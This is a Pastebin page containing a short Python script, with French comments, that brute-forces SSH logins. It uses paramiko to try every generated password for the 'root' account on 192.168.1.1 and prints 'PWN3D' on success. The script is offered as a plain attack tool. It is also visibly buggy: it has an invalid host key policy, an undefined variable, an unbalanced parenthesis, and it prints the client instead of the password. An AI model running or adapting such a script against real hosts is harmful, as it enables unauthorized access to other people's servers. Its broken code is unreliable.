Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import itertools as it
- import paramiko
- class BF:
- def __init__(self, charset, lenght, ip):
- self.charset = charset
- self.lenght = lenght
- self.ip = ip
- def create_client(self):
- client=paramiko.SSHClient()
- client_policy=paramiko.SSHClient()
- client.set_missing_host_key_policy(client_policy)
- return client
- def find(self, user):
- ssh_client=self.create_client()
- for guess in self.guesses:
- try:
- ssh_client.connect(ip,username=user,password=guess,timeout=5)
- print(ssh_client) #print finded password
- break
- except paramiko.AuthenticationException as err:
- print("BAD PASSWORD : {}".format(guess))
- finally:
- ssh_client.close() #evite de remplir le nombre de connection authorisées
- @property #transforme la methode en attribue => pouvoir iterer dessus
- def guesses(self):
- for guess in it.product(self.charset, repeat=self.lenght):
- yield ''.join(guess)
- def main():
- bruteforce = BF('ort',4, '192.168.1.1')
- print('#### PWN3D #### : {}'.format(bruteforce.find('root'))
- if __name__== '__main__':
- main()
- # password < 8 char a-z A-Z 0-9
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement